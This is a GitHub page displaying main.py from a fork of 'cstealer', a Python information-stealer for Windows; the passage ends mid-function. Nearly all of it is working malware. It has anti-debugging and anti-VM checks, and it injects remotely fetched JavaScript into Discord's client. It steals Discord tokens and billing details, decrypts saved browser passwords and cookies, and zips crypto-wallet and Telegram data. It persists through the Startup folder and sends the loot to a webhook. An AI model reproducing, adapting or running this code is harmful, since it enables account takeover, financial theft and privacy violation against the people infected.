forked from can-kat/cstealer
-
Notifications
You must be signed in to change notification settings - Fork 0
/
main.py
1074 lines (930 loc) · 46.7 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
import os
import requests
import threading
from sys import executable
from sqlite3 import connect as sql_connect
from base64 import b64decode
from json import loads as json_loads, load
import ctypes
from ctypes import windll, wintypes, byref, cdll, Structure, POINTER, c_char, c_buffer
from urllib.request import Request, urlopen
from json import loads, dumps
import time
import shutil
from zipfile import ZipFile
import random
import winreg
import urllib
import re
import sys
import subprocess
import ssl
ssl._create_default_https_context = ssl._create_unverified_context
def antidebug():
checks = [check_windows, check_ip, check_registry, check_dll]
for check in checks:
t = threading.Thread(target=check, daemon=True)
t.start()
def exit_program(reason):
print(reason)
ctypes.windll.kernel32.ExitProcess(0)
def check_windows():
@ctypes.WINFUNCTYPE(ctypes.c_bool, ctypes.POINTER(ctypes.c_void_p), ctypes.POINTER(ctypes.c_void_p))
def winEnumHandler(hwnd, ctx):
title = ctypes.create_string_buffer(1024)
ctypes.windll.user32.GetWindowTextA(hwnd, title, 1024)
if title.value.decode('Windows-1252').lower() in {'proxifier', 'graywolf', 'extremedumper', 'zed', 'exeinfope', 'dnspy', 'titanHide', 'ilspy', 'titanhide', 'x32dbg', 'codecracker', 'simpleassembly', 'process hacker 2', 'pc-ret', 'http debugger', 'Centos', 'process monitor', 'debug', 'ILSpy', 'reverse', 'simpleassemblyexplorer', 'process', 'de4dotmodded', 'dojandqwklndoqwd-x86', 'sharpod', 'folderchangesview', 'fiddler', 'die', 'pizza', 'crack', 'strongod', 'ida -', 'brute', 'dump', 'StringDecryptor', 'wireshark', 'debugger', 'httpdebugger', 'gdb', 'kdb', 'x64_dbg', 'windbg', 'x64netdumper', 'petools', 'scyllahide', 'megadumper', 'reversal', 'ksdumper v1.1 - by equifox', 'dbgclr', 'HxD', 'monitor', 'peek', 'ollydbg', 'ksdumper', 'http', 'wpe pro', 'dbg', 'httpanalyzer', 'httpdebug', 'PhantOm', 'kgdb', 'james', 'x32_dbg', 'proxy', 'phantom', 'mdbg', 'WPE PRO', 'system explorer', 'de4dot', 'x64dbg', 'X64NetDumper', 'protection_id', 'charles', 'systemexplorer', 'pepper', 'hxd', 'procmon64', 'MegaDumper', 'ghidra', 'xd', '0harmony', 'dojandqwklndoqwd', 'hacker', 'process hacker', 'SAE', 'mdb', 'checker', 'harmony', 'Protection_ID', 'PETools', 'scyllaHide', 'x96dbg', 'systemexplorerservice', 'folder', 'mitmproxy', 'dbx', 'sniffer', 'http toolkit', 'george',}:
pid = ctypes.c_ulong(0)
ctypes.windll.user32.GetWindowThreadProcessId(hwnd, ctypes.byref(pid))
if pid.value != 0:
try:
handle = ctypes.windll.kernel32.OpenProcess(1, False, pid)
ctypes.windll.kernel32.TerminateProcess(handle, -1)
ctypes.windll.kernel32.CloseHandle(handle)
except:
pass
exit_program(f'Debugger Open, Type: {title.value.decode("utf-8")}')
return True
while True:
ctypes.windll.user32.EnumWindows(winEnumHandler, None)
time.sleep(0.5)
def check_ip():
blacklisted = {'88.132.227.238', '79.104.209.33', '92.211.52.62', '20.99.160.173', '188.105.91.173', '64.124.12.162', '195.181.175.105', '194.154.78.160', '109.74.154.92', '88.153.199.169', '34.145.195.58', '178.239.165.70', '88.132.231.71', '34.105.183.68', '195.74.76.222', '192.87.28.103', '34.141.245.25', '35.199.6.13', '34.145.89.174', '34.141.146.114', '95.25.204.90', '87.166.50.213', '193.225.193.201', '92.211.55.199', '35.229.69.227', '104.18.12.38', '88.132.225.100', '213.33.142.50', '195.239.51.59', '34.85.243.241', '35.237.47.12', '34.138.96.23', '193.128.114.45', '109.145.173.169', '188.105.91.116', 'None', '80.211.0.97', '84.147.62.12', '78.139.8.50', '109.74.154.90', '34.83.46.130', '212.119.227.167', '92.211.109.160', '93.216.75.209', '34.105.72.241', '212.119.227.151', '109.74.154.91', '95.25.81.24', '188.105.91.143', '192.211.110.74', '34.142.74.220', '35.192.93.107', '88.132.226.203', '34.85.253.170', '34.105.0.27', '195.239.51.3', '192.40.57.234', '92.211.192.144', '23.128.248.46', '84.147.54.113', '34.253.248.228',None}
while True:
try:
ip = urllib.request.urlopen('https://checkip.amazonaws.com').read().decode().strip()
if ip in blacklisted:
exit_program('Blacklisted IP Detected')
return
except:
pass
def check_registry():
try:
key = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, r'SYSTEM\CurrentControlSet\Enum\IDE', 0, winreg.KEY_READ)
subkey_count = winreg.QueryInfoKey(key)[0]
for i in range(subkey_count):
subkey = winreg.EnumKey(key, i)
if subkey.startswith('VMWARE'):
exit_program('VM Detected')
winreg.CloseKey(key)
except:
pass
def check_dll():
sys_root = os.environ.get('SystemRoot', 'C:\\Windows')
if os.path.exists(os.path.join(sys_root, "System32\\vmGuestLib.dll")) or os.path.exists(os.path.join(sys_root, "vboxmrxnp.dll")):
exit_program('VM Detected')
cname = "https://rentry.co/u4tup/raw"
cnameresp = requests.get(cname)
cname = cnameresp.text
footerc = "https://rentry.co/pmpxa/raw"
footercresp = requests.get(footerc)
footerc = footercresp.text
words = "https://rentry.co/5uu99/raw"
wordsresp = requests.get(words)
words = wordsresp.text
h00k = "YOUR_WEBHOOK_URL"
inj3c710n_url = f"https://raw.githubusercontent.com/wtf{cname}wtf/index/main/injection.js"
DETECTED = False
def g371P():
ip = "None"
try:
ip = urlopen(Request("https://api.ipify.org")).read().decode().strip()
except:
pass
return ip
requirements = [
["requests", "requests"],
["Crypto.Cipher", "pycryptodome"]
]
for modl in requirements:
try: __import__(modl[0])
except:
subprocess.Popen(f"{executable} -m pip install {modl[1]}", shell=True)
time.sleep(3)
import requests
from Crypto.Cipher import AES
local = os.getenv('LOCALAPPDATA')
roaming = os.getenv('APPDATA')
temp = os.getenv("TEMP")
Threadlist = []
class DATA_BLOB(Structure):
_fields_ = [
('cbData', wintypes.DWORD),
('pbData', POINTER(c_char))
]
def g37D474(blob_out):
cbData = int(blob_out.cbData)
pbData = blob_out.pbData
buffer = c_buffer(cbData)
cdll.msvcrt.memcpy(buffer, pbData, cbData)
windll.kernel32.LocalFree(pbData)
return buffer.raw
def CryptUnprotectData(encrypted_bytes, entropy=b''):
buffer_in = c_buffer(encrypted_bytes, len(encrypted_bytes))
buffer_entropy = c_buffer(entropy, len(entropy))
blob_in = DATA_BLOB(len(encrypted_bytes), buffer_in)
blob_entropy = DATA_BLOB(len(entropy), buffer_entropy)
blob_out = DATA_BLOB()
if windll.crypt32.CryptUnprotectData(byref(blob_in), None, byref(blob_entropy), None, None, 0x01, byref(blob_out)):
return g37D474(blob_out)
def D3CrYP7V41U3(buff, master_key=None):
starts = buff.decode(encoding='utf8', errors='ignore')[:3]
if starts == 'v10' or starts == 'v11':
iv = buff[3:15]
payload = buff[15:]
cipher = AES.new(master_key, AES.MODE_GCM, iv)
decrypted_pass = cipher.decrypt(payload)
decrypted_pass = decrypted_pass[:-16].decode()
return decrypted_pass
def L04Dr3QU3575(methode, url, data='', files='', headers=''):
for i in range(8): # max trys
try:
if methode == 'POST':
if data != '':
r = requests.post(url, data=data)
if r.status_code == 200:
return r
elif files != '':
r = requests.post(url, files=files)
if r.status_code == 200 or r.status_code == 413: # 413 = DATA TO BIG
return r
except:
pass
def L04DUr118(h00k, data='', files='', headers=''):
for i in range(8):
try:
if headers != '':
r = urlopen(Request(h00k, data=data, headers=headers))
return r
else:
r = urlopen(Request(h00k, data=data))
return r
except:
pass
def g108411NF0():
ip = g371P()
username = os.getenv("USERNAME")
ipdatanojson = urlopen(Request(f"https://geolocation-db.com/jsonp/{ip}")).read().decode().replace('callback(', '').replace('})', '}')
# print(ipdatanojson)
ipdata = loads(ipdatanojson)
# print(urlopen(Request(f"https://geolocation-db.com/jsonp/{ip}")).read().decode())
contry = ipdata["country_name"]
contryCode = ipdata["country_code"].lower()
g108411NF0 = f":flag_{contryCode}: - `{username.upper()} | {ip} ({contry})`"
# print(globalinfo)
return g108411NF0
def TrU57(C00K13s):
# simple Trust Factor system
global DETECTED
data = str(C00K13s)
tim = re.findall(".google.com", data)
# print(len(tim))
if len(tim) < -1:
DETECTED = True
return DETECTED
else:
DETECTED = False
return DETECTED
def inj3c710n():
username = os.getlogin()
folder_list = ['Discord', 'DiscordCanary', 'DiscordPTB', 'DiscordDevelopment']
for folder_name in folder_list:
deneme_path = os.path.join(os.getenv('LOCALAPPDATA'), folder_name)
if os.path.isdir(deneme_path):
for subdir, dirs, files in os.walk(deneme_path):
if 'app-' in subdir:
for dir in dirs:
if 'modules' in dir:
module_path = os.path.join(subdir, dir)
for subsubdir, subdirs, subfiles in os.walk(module_path):
if 'discord_desktop_core-' in subsubdir:
for subsubsubdir, subsubdirs, subsubfiles in os.walk(subsubdir):
if 'discord_desktop_core' in subsubsubdir:
for file in subsubfiles:
if file == 'index.js':
file_path = os.path.join(subsubsubdir, file)
injeCTmED0cT0r_cont = requests.get(inj3c710n_url).text
injeCTmED0cT0r_cont = injeCTmED0cT0r_cont.replace("%WEBHOOK%", h00k)
with open(file_path, "w", encoding="utf-8") as index_file:
index_file.write(injeCTmED0cT0r_cont)
inj3c710n()
def G37UHQFr13ND5(token):
badgeList = [
{"Name": 'Active_Developer', 'Value': 131072, 'Emoji': "<:activedeveloper:1111425174978433124> "},
{"Name": 'Early_Verified_Bot_Developer', 'Value': 4194304, 'Emoji': "<:developer:874750808472825986> "},
{"Name": 'Bug_Hunter_Level_2', 'Value': 16384, 'Emoji': "<:bughunter_2:874750808430874664> "},
{"Name": 'Early_Supporter', 'Value': 512, 'Emoji': "<:early_supporter:874750808414113823> "},
{"Name": 'House_Balance', 'Value': 256, 'Emoji': "<:balance:874750808267292683> "},
{"Name": 'House_Brilliance', 'Value': 128, 'Emoji': "<:brilliance:874750808338608199> "},
{"Name": 'House_Bravery', 'Value': 64, 'Emoji': "<:bravery:874750808388952075> "},
{"Name": 'Bug_Hunter_Level_1', 'Value': 8, 'Emoji': "<:bughunter_1:874750808426692658> "},
{"Name": 'HypeSquad_Events', 'Value': 4, 'Emoji': "<:hypesquad_events:874750808594477056> "},
{"Name": 'Partnered_Server_Owner', 'Value': 2,'Emoji': "<:partner:874750808678354964> "},
{"Name": 'Discord_Employee', 'Value': 1, 'Emoji': "<:staff:874750808728666152> "}
]
headers = {
"Authorization": token,
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0"
}
try:
friendlist = loads(urlopen(Request("https://discord.com/api/v6/users/@me/relationships", headers=headers)).read().decode())
except:
return False
uhqlist = ''
for friend in friendlist:
OwnedBadges = ''
flags = friend['user']['public_flags']
for badge in badgeList:
if flags // badge["Value"] != 0 and friend['type'] == 1:
if not "House" in badge["Name"]:
OwnedBadges += badge["Emoji"]
flags = flags % badge["Value"]
if OwnedBadges != '':
uhqlist += f"{OwnedBadges} | {friend['user']['username']}#{friend['user']['discriminator']} ({friend['user']['id']})\n"
return uhqlist
def G3781111N6(token):
headers = {
"Authorization": token,
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0"
}
try:
billingjson = loads(urlopen(Request("https://discord.com/api/users/@me/billing/payment-sources", headers=headers)).read().decode())
except:
return False
if billingjson == []: return " -"
billing = ""
for methode in billingjson:
if methode["invalid"] == False:
if methode["type"] == 1:
billing += ":credit_card:"
elif methode["type"] == 2:
billing += "<:paypal:1106233404795658330> "
return billing
def G3784D63(flags):
if flags == 0: return ''
OwnedBadges = ''
badgeList = [
{"Name": 'Active_Developer', 'Value': 131072, 'Emoji': "<:activedeveloper:1111425174978433124> "},
{"Name": 'Early_Verified_Bot_Developer', 'Value': 4194304, 'Emoji': "<:developer:874750808472825986> "},
{"Name": 'Bug_Hunter_Level_2', 'Value': 16384, 'Emoji': "<:bughunter_2:874750808430874664> "},
{"Name": 'Early_Supporter', 'Value': 512, 'Emoji': "<:early_supporter:874750808414113823> "},
{"Name": 'House_Balance', 'Value': 256, 'Emoji': "<:balance:874750808267292683> "},
{"Name": 'House_Brilliance', 'Value': 128, 'Emoji': "<:brilliance:874750808338608199> "},
{"Name": 'House_Bravery', 'Value': 64, 'Emoji': "<:bravery:874750808388952075> "},
{"Name": 'Bug_Hunter_Level_1', 'Value': 8, 'Emoji': "<:bughunter_1:874750808426692658> "},
{"Name": 'HypeSquad_Events', 'Value': 4, 'Emoji': "<:hypesquad_events:874750808594477056> "},
{"Name": 'Partnered_Server_Owner', 'Value': 2,'Emoji': "<:partner:874750808678354964> "},
{"Name": 'Discord_Employee', 'Value': 1, 'Emoji': "<:staff:874750808728666152> "}
]
for badge in badgeList:
if flags // badge["Value"] != 0:
OwnedBadges += badge["Emoji"]
flags = flags % badge["Value"]
return OwnedBadges
def G3770K3N1NF0(token):
headers = {
"Authorization": token,
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0"
}
userjson = loads(urlopen(Request("https://discordapp.com/api/v6/users/@me", headers=headers)).read().decode())
username = userjson["username"]
hashtag = userjson["discriminator"]
email = userjson["email"]
idd = userjson["id"]
pfp = userjson["avatar"]
flags = userjson["public_flags"]
nitro = ""
phone = "-"
if "premium_type" in userjson:
nitrot = userjson["premium_type"]
if nitrot == 1:
nitro = "<a:subscriber:1095725882250895481> "
elif nitrot == 2:
nitro = "<a:boost:824036778570416129> <a:subscriber:1095725882250895481> "
if "phone" in userjson: phone = f'`{userjson["phone"]}`'
return username, hashtag, email, idd, pfp, flags, nitro, phone
def CH3CK70K3N(token):
headers = {
"Authorization": token,
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0"
}
try:
urlopen(Request("https://discordapp.com/api/v6/users/@me", headers=headers))
return True
except:
return False
if getattr(sys, 'frozen', False):
currentFilePath = os.path.dirname(sys.executable)
else:
currentFilePath = os.path.dirname(os.path.abspath(__file__))
fileName = os.path.basename(sys.argv[0])
filePath = os.path.join(currentFilePath, fileName)
startupFolderPath = os.path.join(os.path.expanduser('~'), 'AppData', 'Roaming', 'Microsoft', 'Windows', 'Start Menu', 'Programs', 'Startup')
startupFilePath = os.path.join(startupFolderPath, fileName)
if os.path.abspath(filePath).lower() != os.path.abspath(startupFilePath).lower():
with open(filePath, 'rb') as src_file, open(startupFilePath, 'wb') as dst_file:
shutil.copyfileobj(src_file, dst_file)
def UP104D70K3N(token, path):
global h00k
headers = {
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0"
}
username, hashtag, email, idd, pfp, flags, nitro, phone = G3770K3N1NF0(token)
if pfp == None:
pfp = "https://media.discordapp.net/attachments/1111364024408494140/1111364181032177766/cs.png"
else:
pfp = f"https://cdn.discordapp.com/avatars/{idd}/{pfp}"
billing = G3781111N6(token)
badge = G3784D63(flags)
friends = G37UHQFr13ND5(token)
if friends == '': friends = "No HQ Friends Found"
if not billing:
badge, phone, billing = "🔒", "🔒", "🔒"
if nitro == '' and badge == '': nitro = " -"
data = {
"content": f'{g108411NF0()} | Found in `{path}`',
"embeds": [
{
"color": 2895667,
"fields": [
{
"name": "<:hackerblack:1095747410539593800> Token:",
"value": f"`{token}`\n[Click to copy](https://superfurrycdn.nl/copy/{token})"
},
{
"name": "<:mail:1095741024678191114> Email:",
"value": f"`{email}`",
"inline": True
},
{
"name": "<:phone:1095741029832990720> Phone:",
"value": f"{phone}",
"inline": True
},
{
"name": "<a:blackworld:1095741984385290310> IP:",
"value": f"`{g371P()}`",
"inline": True
},
{
"name": "<a:blackhypesquad:1095742323423453224> Badges:",
"value": f"{nitro}{badge}",
"inline": True
},
{
"name": "<a:blackmoneycard:1095741026850852965> Billing:",
"value": f"{billing}",
"inline": True
},
{
"name": "<:friends:1111401676511924448> HQ Friends:",
"value": f"{friends}",
"inline": False
}
],
"author": {
"name": f"{username}#{hashtag} ({idd})",
"icon_url": f"{pfp}"
},
"footer": {
"text": f"{footerc}",
"icon_url": "https://media.discordapp.net/attachments/1111364024408494140/1111364181032177766/cs.png"
},
"thumbnail": {
"url": f"{pfp}"
}
}
],
"avatar_url": "https://media.discordapp.net/attachments/1111364024408494140/1111364181032177766/cs.png",
"username": f"{cname}",
"attachments": []
}
L04DUr118(h00k, data=dumps(data).encode(), headers=headers)
def R3F0rM47(listt):
e = re.findall("(\w+[a-z])",listt)
while "https" in e: e.remove("https")
while "com" in e: e.remove("com")
while "net" in e: e.remove("net")
return list(set(e))
def UP104D(name, link):
headers = {
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0"
}
if name == "cscook":
rb = ' | '.join(da for da in c00K1W0rDs)
if len(rb) > 1000:
rrrrr = R3F0rM47(str(c00K1W0rDs))
rb = ' | '.join(da for da in rrrrr)
data = {
"content": g108411NF0(),
"embeds": [
{
"title": f"{cname} | Cookie {words}",
"description": f"**Found**:\n{rb}\n\n**Data:**\n <:browser:1095742866518716566> • **{C00K1C0UNt}** Cookies Found\n <:blackarrow:1095740975197995041> • [{cname}Cookies.txt]({link})",
"color": 2895667,
"footer": {
"text": f"{footerc}",
"icon_url": "https://media.discordapp.net/attachments/1111364024408494140/1111364181032177766/cs.png"
}
}
],
"username": f"{cname}",
"avatar_url": "https://media.discordapp.net/attachments/1111364024408494140/1111364181032177766/cs.png",
"attachments": []
}
L04DUr118(h00k, data=dumps(data).encode(), headers=headers)
return
if name == "cspassw":
ra = ' | '.join(da for da in p45WW0rDs)
if len(ra) > 1000:
rrr = R3F0rM47(str(p45WW0rDs))
ra = ' | '.join(da for da in rrr)
data = {
"content": g108411NF0(),
"embeds": [
{
"title": f"{cname} | Password {words}",
"description": f"**Found**:\n{ra}\n\n**Data:**\n <:blacklock:1095741022065131571> • **{P455WC0UNt}** Passwords Found\n <:blackarrow:1095740975197995041> • [{cname}Passwords.txt]({link})",
"color": 2895667,
"footer": {
"text": f"{footerc}",
"icon_url": "https://media.discordapp.net/attachments/1111364024408494140/1111364181032177766/cs.png"
}
}
],
"username": f"{cname}",
"avatar_url": "https://media.discordapp.net/attachments/1111364024408494140/1111364181032177766/cs.png",
"attachments": []
}
L04DUr118(h00k, data=dumps(data).encode(), headers=headers)
return
if name == "kiwi":
data = {
"content": g108411NF0(),
"embeds": [
{
"color": 2895667,
"fields": [
{
"name": "Interesting files found on user PC:",
"value": link
}
],
"author": {
"name": f"{cname} | File {words}"
},
"footer": {
"text": f"{footerc}",
"icon_url": "https://media.discordapp.net/attachments/1111364024408494140/1111364181032177766/cs.png"
}
}
],
"username": f"{cname}",
"avatar_url": "https://media.discordapp.net/attachments/1111364024408494140/1111364181032177766/cs.png",
"attachments": []
}
L04DUr118(h00k, data=dumps(data).encode(), headers=headers)
return
def wr173F0rF113(data, name):
path = os.getenv("TEMP") + f"\cs{name}.txt"
with open(path, mode='w', encoding='utf-8') as f:
f.write(f"<--{cname}-->\n\n")
for line in data:
if line[0] != '':
f.write(f"{line}\n")
T0K3Ns = ''
def g3770K3N(path, arg):
if not os.path.exists(path): return
path += arg
for file in os.listdir(path):
if file.endswith(".log") or file.endswith(".ldb") :
for line in [x.strip() for x in open(f"{path}\\{file}", errors="ignore").readlines() if x.strip()]:
for regex in (r"[\w-]{24}\.[\w-]{6}\.[\w-]{25,110}", r"mfa\.[\w-]{80,95}"):
for token in re.findall(regex, line):
global T0K3Ns
if CH3CK70K3N(token):
if not token in T0K3Ns:
# print(token)
T0K3Ns += token
UP104D70K3N(token, path)
P455w = []
def g37P455w(path, arg):
global P455w, P455WC0UNt
if not os.path.exists(path): return
pathC = path + arg + "/Login Data"
if os.stat(pathC).st_size == 0: return
tempfold = temp + "cs" + ''.join(random.choice('bcdefghijklmnopqrstuvwxyz') for i in range(8)) + ".db"
shutil.copy2(pathC, tempfold)
conn = sql_connect(tempfold)
cursor = conn.cursor()
cursor.execute("SELECT action_url, username_value, password_value FROM logins;")
data = cursor.fetchall()
cursor.close()
conn.close()
os.remove(tempfold)
pathKey = path + "/Local State"
with open(pathKey, 'r', encoding='utf-8') as f: local_state = json_loads(f.read())
master_key = b64decode(local_state['os_crypt']['encrypted_key'])
master_key = CryptUnprotectData(master_key[5:])
for row in data:
if row[0] != '':
for wa in k3YW0rd:
old = wa
if "https" in wa:
tmp = wa
wa = tmp.split('[')[1].split(']')[0]
if wa in row[0]:
if not old in p45WW0rDs: p45WW0rDs.append(old)
P455w.append(f"UR1: {row[0]} | U53RN4M3: {row[1]} | P455w0RD: {D3CrYP7V41U3(row[2], master_key)}")
P455WC0UNt += 1
wr173F0rF113(P455w, 'passw')
C00K13s = []
def g37C00K13(path, arg):
global C00K13s, C00K1C0UNt
if not os.path.exists(path): return
pathC = path + arg + "/Cookies"
if os.stat(pathC).st_size == 0: return
tempfold = temp + "cs" + ''.join(random.choice('bcdefghijklmnopqrstuvwxyz') for i in range(8)) + ".db"
shutil.copy2(pathC, tempfold)
conn = sql_connect(tempfold)
cursor = conn.cursor()
cursor.execute("SELECT host_key, name, encrypted_value FROM cookies")
data = cursor.fetchall()
cursor.close()
conn.close()
os.remove(tempfold)
pathKey = path + "/Local State"
with open(pathKey, 'r', encoding='utf-8') as f: local_state = json_loads(f.read())
master_key = b64decode(local_state['os_crypt']['encrypted_key'])
master_key = CryptUnprotectData(master_key[5:])
for row in data:
if row[0] != '':
for wa in k3YW0rd:
old = wa
if "https" in wa:
tmp = wa
wa = tmp.split('[')[1].split(']')[0]
if wa in row[0]:
if not old in c00K1W0rDs: c00K1W0rDs.append(old)
C00K13s.append(f"{row[0]} TRUE / FALSE 2597573456 {row[1]} {D3CrYP7V41U3(row[2], master_key)}")
C00K1C0UNt += 1
wr173F0rF113(C00K13s, 'cook')
def G37D15C0rD(path, arg):
if not os.path.exists(f"{path}/Local State"): return
pathC = path + arg
pathKey = path + "/Local State"
with open(pathKey, 'r', encoding='utf-8') as f: local_state = json_loads(f.read())
master_key = b64decode(local_state['os_crypt']['encrypted_key'])
master_key = CryptUnprotectData(master_key[5:])
# print(path, master_key)
for file in os.listdir(pathC):
# print(path, file)
if file.endswith(".log") or file.endswith(".ldb") :
for line in [x.strip() for x in open(f"{pathC}\\{file}", errors="ignore").readlines()if x.strip()]:
for token in re.findall(r"dQw4w9WgXcQ:[^.*\['(.*)'\].*$][^\"]*", line):
global T0K3Ns
tokenDecoded = D3CrYP7V41U3(b64decode(token.split('dQw4w9WgXcQ:')[1]), master_key)
if CH3CK70K3N(tokenDecoded):
if not tokenDecoded in T0K3Ns:
# print(token)
T0K3Ns += tokenDecoded
# writeforfile(Tokens, 'tokens')
UP104D70K3N(tokenDecoded, path)
def G47H3rZ1P5(paths1, paths2, paths3):
thttht = []
for patt in paths1:
a = threading.Thread(target=Z1P7H1N65, args=[patt[0], patt[5], patt[1]])
a.start()
thttht.append(a)
for patt in paths2:
a = threading.Thread(target=Z1P7H1N65, args=[patt[0], patt[2], patt[1]])
a.start()
thttht.append(a)
a = threading.Thread(target=Z1P73136r4M, args=[paths3[0], paths3[2], paths3[1]])
a.start()
thttht.append(a)
for thread in thttht:
thread.join()
global W411375Z1p, G4M1N6Z1p, O7H3rZ1p
# print(WalletsZip, G4M1N6Z1p, O7H3rZ1p)
wal, ga, ot = "",'',''
if not len(W411375Z1p) == 0:
wal = "<:ETH:975438262053257236> • Wallets\n"
for i in W411375Z1p:
wal += f"└─ [{i[0]}]({i[1]})\n"
if not len(W411375Z1p) == 0:
ga = "<:blackgengar:1111366900690202624> • Gaming\n"
for i in G4M1N6Z1p:
ga += f"└─ [{i[0]}]({i[1]})\n"
if not len(O7H3rZ1p) == 0:
ot = "<:black_planet:1095740276850569226> • Apps\n"
for i in O7H3rZ1p:
ot += f"└─ [{i[0]}]({i[1]})\n"
headers = {
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0"
}
data = {
"content": g108411NF0(),
"embeds": [
{
"title": f"{cname} Zips",
"description": f"{wal}\n{ga}\n{ot}",
"color": 2895667,
"footer": {
"text": f"{footerc}",
"icon_url": "https://media.discordapp.net/attachments/1111364024408494140/1111364181032177766/cs.png"
}
}
],
"username": f"{cname}",
"avatar_url": "https://media.discordapp.net/attachments/1111364024408494140/1111364181032177766/cs.png",
"attachments": []
}
L04DUr118(h00k, data=dumps(data).encode(), headers=headers)
def Z1P73136r4M(path, arg, procc):
global O7H3rZ1p
pathC = path
name = arg
if not os.path.exists(pathC): return
subprocess.Popen(f"taskkill /im {procc} /t /f >nul 2>&1", shell=True)
zf = ZipFile(f"{pathC}/{name}.zip", "w")
for file in os.listdir(pathC):
if not ".zip" in file and not "tdummy" in file and not "user_data" in file and not "webview" in file:
zf.write(pathC + "/" + file)
zf.close()
lnik = uP104D7060F113(f'{pathC}/{name}.zip')
#lnik = "https://google.com"
os.remove(f"{pathC}/{name}.zip")
O7H3rZ1p.append([arg, lnik])
def Z1P7H1N65(path, arg, procc):
pathC = path
name = arg
global W411375Z1p, G4M1N6Z1p, O7H3rZ1p
if "nkbihfbeogaeaoehlefnkodbefgpgknn" in arg:
browser = path.split("\\")[4].split("/")[1].replace(' ', '')
name = f"Metamask_{browser}"
pathC = path + arg
if "ejbalbakoplchlghecdalmeeeajnimhm" in arg:
browser = path.split("\\")[4].split("/")[1].replace(' ', '')
name = f"Metamask_Edge"
pathC = path + arg
if "aholpfdialjgjfhomihkjbmgjidlcdno" in arg:
browser = path.split("\\")[4].split("/")[1].replace(' ', '')
name = f"Exodus_{browser}"
